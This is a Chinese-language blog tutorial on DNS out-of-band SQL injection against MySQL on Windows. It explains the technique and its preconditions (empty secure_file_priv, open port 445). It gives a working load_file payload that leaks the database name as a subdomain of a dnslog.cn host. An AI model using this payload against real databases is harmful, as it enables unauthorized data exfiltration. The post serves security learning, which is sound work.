动态线条
动态线条end

SQL注入:DNS注入

DNS概述

域名解析服务,通过迭代查询的方式,将域名转换为IP地址,提供给本地主机,本地主机访问指定IP地址的网络主机从而获取网络资源。

DNS注入原理

利用DNS解析记录,如果在指定dns服务器上尝试查询解析,那么就会留下查询内容。如果该dns是恶意用户搭建的dns服务器,那么就有权限查询记录内容,而记录内容刚好是由数据库内容构成,那么就达到了dns注入数据库的目的。

如何带出数据库信息:利用445端口开放的远程文件共享,通过访问恶意DNS服务器的子域名,而子域名就是数据库信息,那么在DNS服务器上留下的记录就包含是恶意用户所需要的数据。

#以下述格式带出数据库信息
数据库信息.域名信息
数据库信息.qx7x7i.dnslog.cn

具体原理的理解,参考下述的操作流程。

以MySQL数据库为例

用下述网站作为DNS解析的记录站点
http://www.dnslog.cn/

image-20220104164029994

如果我们通过浏览器访问这个临时分配的二级域名,就会在该站点上留下访问痕迹

image-20220104164259224

如果访问该二级域名下的其他子域名,发生的现象如下:

image-20220104164413074

同样的道理,如果利用文件共享协议来访问远程文件,即使文件不存在,那么也会在被访问的DNS服务器上留下痕迹

查看本机是否开放445端口,用于访问远程的共享文件

netstat -a

image-20220104164824550

利用‘运行’窗口 配合文件共享协议,访问临时的二级域名查看现象

image-20220104165021180

恰好MySQL数据库中 load_file函数能够加载远程共享文件

#之所以用四个'\',是因为\在mysql具有转义的特殊含义
select load_file('\\\\文件路径')

结合上述条件构造注入语句,尝试将数据库名称当做临时的二级域名的子域名,并访问远程的DNS服务器

select load_file(concat('file:\\\\',(select database()),'.qx7x7i.dnslog.cn'));

那么结果就是在服务器上留下了 "数据库名称 + 二级域名" 的记录信息,那么数据库信息也就被带出显示。

DNS注入前提

1)secure_file_priv 选项必须为空,但是不能为null(为空的意思是可以访问任意文件,为null意思是不能访问任意文件)

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth              | ON    |
| secure_file_priv         |       |
+--------------------------+-------+

2)对方的主机必须开放445端口,因为load_file函数需要结合文件共享协议,从而读取目标站点上指定域名的子域名下的文件

​ 1)通过扫描器确定对方是否开放445

​ 2)直接尝试dns注入

总结

DNS注入常常出现在windows系统服务器上,因为windows默认开启局域网内的文件共享,并且对方服务器必须开启445以及mysql允许加载远端文件。否则该漏洞无法应用。并且dns注入攻击只能一次带出一个信息,操作起来颇为繁琐。但是在特殊情况下也是一个可尝试的方向。

posted @ 2022-01-26 19:23  v1v1v1  阅读(671)  评论(0)    收藏  举报